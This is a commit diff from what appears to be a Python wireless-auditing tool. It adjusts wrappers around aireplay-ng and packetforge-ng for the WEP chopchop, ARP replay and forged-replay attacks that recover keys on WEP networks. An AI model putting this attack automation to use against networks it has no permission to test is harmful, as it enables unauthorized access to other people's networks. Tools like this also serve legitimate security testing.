Fixing WEP chopchop attack. Works, but needs more work...
This commit is contained in:
@@ -68,12 +68,15 @@ class Aireplay(object):
|
||||
|
||||
# TODO: set 'stdout' when creating process to store output to file.
|
||||
# AttackWEP will read file to get status of attack.
|
||||
# E.g., chopchop will regex "(\d+)% done" to get percent complete.
|
||||
# E.g., chopchop will regex "\(\s?(\d+)% done" to get percent complete.
|
||||
'''
|
||||
from subprocess import PIPE
|
||||
sout = PIPE
|
||||
if '--chopchop' in cmd:
|
||||
sout = open(Configuration.temp('chopchop'), 'w')
|
||||
if not devnull and attack_type == WEPAttackType.chopchop:
|
||||
sout = open(Configuration.temp('chopchop.out'), 'w')
|
||||
# Output sample:
|
||||
# Offset 70 (11% done) | xor = 7A | pt = 00 | 24 frames written in 409ms
|
||||
else:
|
||||
sout = Process.devnull()
|
||||
serr = Process.devnull()
|
||||
'''
|
||||
|
||||
self.pid = Process(cmd,
|
||||
@@ -183,6 +186,7 @@ class Aireplay(object):
|
||||
"Client_mac and Replay_File are required for arp replay")
|
||||
cmd.append('--arpreplay')
|
||||
cmd.extend(['-b', target.bssid])
|
||||
cmd.extend(['-h', client_mac])
|
||||
cmd.extend(['-r', replay_file])
|
||||
cmd.extend(['-F']) # Automatically choose first packet
|
||||
cmd.extend(['-x', str(Configuration.wep_pps)])
|
||||
|
||||
@@ -156,17 +156,18 @@ class AttackWEP(Attack):
|
||||
# If .xor exists, run packetforge-ng to create .cap
|
||||
Color.pl('\n{+} {C}%s attack{W}' % attack_name +
|
||||
' generated a {C}.xor file{W}, {G}forging...{W}')
|
||||
forge_file = Aireplay.forge_packet(xor_file,
|
||||
replay_file = Aireplay.forge_packet(xor_file,
|
||||
airodump_target.bssid,
|
||||
client_mac)
|
||||
if forge_file:
|
||||
replay_file = forge_file
|
||||
if replay_file:
|
||||
Color.pl('{+} {C}forged packet{W},' +
|
||||
' {G}replaying...{W}')
|
||||
attack_name = 'forged arp replay'
|
||||
aireplay = Aireplay(self.target, \
|
||||
'forgedreplay', \
|
||||
client_mac=client_mac, \
|
||||
wep_attack_type = WEPAttackType("forgedreplay")
|
||||
attack_name = "forgedreplay"
|
||||
aireplay = Aireplay(self.target,
|
||||
'forgedreplay',
|
||||
client_mac=client_mac,
|
||||
devnull=True,
|
||||
replay_file=replay_file)
|
||||
continue
|
||||
else:
|
||||
|
||||
Reference in New Issue
Block a user